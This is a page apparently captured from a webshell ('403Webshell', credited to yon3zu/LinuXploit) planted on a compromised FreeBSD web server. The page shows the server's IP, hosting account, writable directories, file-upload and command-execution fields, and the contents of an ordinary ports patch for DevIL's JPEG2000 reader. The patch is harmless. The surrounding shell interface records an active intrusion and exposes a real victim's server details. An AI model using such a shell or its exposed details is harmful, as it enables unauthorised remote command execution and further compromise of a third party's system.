403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.217.33
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/graphics/devil/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/graphics/devil/files/patch-DevIL_src-IL_src_il__jp2.cpp
--- DevIL/src-IL/src/il_jp2.cpp.orig	2017-01-01 23:37:37 UTC
+++ DevIL/src-IL/src/il_jp2.cpp
@@ -313,14 +313,21 @@ ILboolean iLoadJp2Internal(jas_stream_t	*Stream, ILima
 }
 
 
-
-static int iJp2_file_read(jas_stream_obj_t *obj, char *buf, int cnt)
+#if JAS_VERSION_MAJOR >= 3
+static ssize_t iJp2_file_read(jas_stream_obj_t *obj, char *buf, size_t cnt)
+#else
+static int iJp2_file_read(jas_stream_obj_t *obj, char *buf, unsigned long cnt)
+#endif
 {
 	obj;
 	return iread(buf, 1, cnt);
 }
 
-static int iJp2_file_write(jas_stream_obj_t *obj, char *buf, int cnt)
+#if JAS_VERSION_MAJOR >= 3
+static ssize_t iJp2_file_write(jas_stream_obj_t *obj, const char *buf, size_t cnt)
+#else
+static int iJp2_file_write(jas_stream_obj_t *obj, const char *buf, unsigned long cnt)
+#endif
 {
 	obj;
 	return iwrite(buf, 1, cnt);

Youez - 2016 - github.com/yon3zu
LinuXploit